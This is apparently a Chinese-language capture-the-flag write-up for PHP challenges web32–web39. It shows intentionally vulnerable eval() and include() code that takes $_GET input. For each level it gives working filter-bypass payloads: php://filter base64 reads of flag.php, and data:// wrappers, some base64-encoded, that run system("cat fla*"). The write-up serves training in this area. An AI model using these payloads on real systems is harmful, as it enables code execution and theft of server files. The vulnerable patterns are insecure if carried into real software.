web32

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c
 
)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

這裡將(和;都禁用了 並且php中不用括號的函式有echo、print、die、include、require、include_once、require_once,

用include函式和php偽協議來讀php檔案：

playload:

?c=include$_GET[0]?>&0=php://filter/read=convert.base64-encode/resource=flag.php

然後base64解碼得到flag

32-35同理

web36

過濾了數字，將get傳參的引數換成字母即可

playload：

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: [email protected]
# @link: https://ctfer.com
 
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

檔案包含get傳入的值，利用偽協議讀flag

playoad:

?c=data://text/plain,<?php system("cat f*"); 或者

?c=data://text/plain,<?php system("cat fla*")?>

web38

多過濾了兩個字元file和php，使用php短標籤進行繞過

或者base64編碼繞過

?c=data://text/plain,<?= system("cat fla*")?>

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs=

web39

if(!preg_match("/flag/i", $c)){
        include($c.".php");

data://text/plain, 這樣就相當於執行了php語句 .php 因為前面的php語句已經閉合了，所以後面的.php會被當成html頁面直接顯示在頁面上，起不到什麼 作用

?c=data://text/plain,<?= system("cat fla*")?>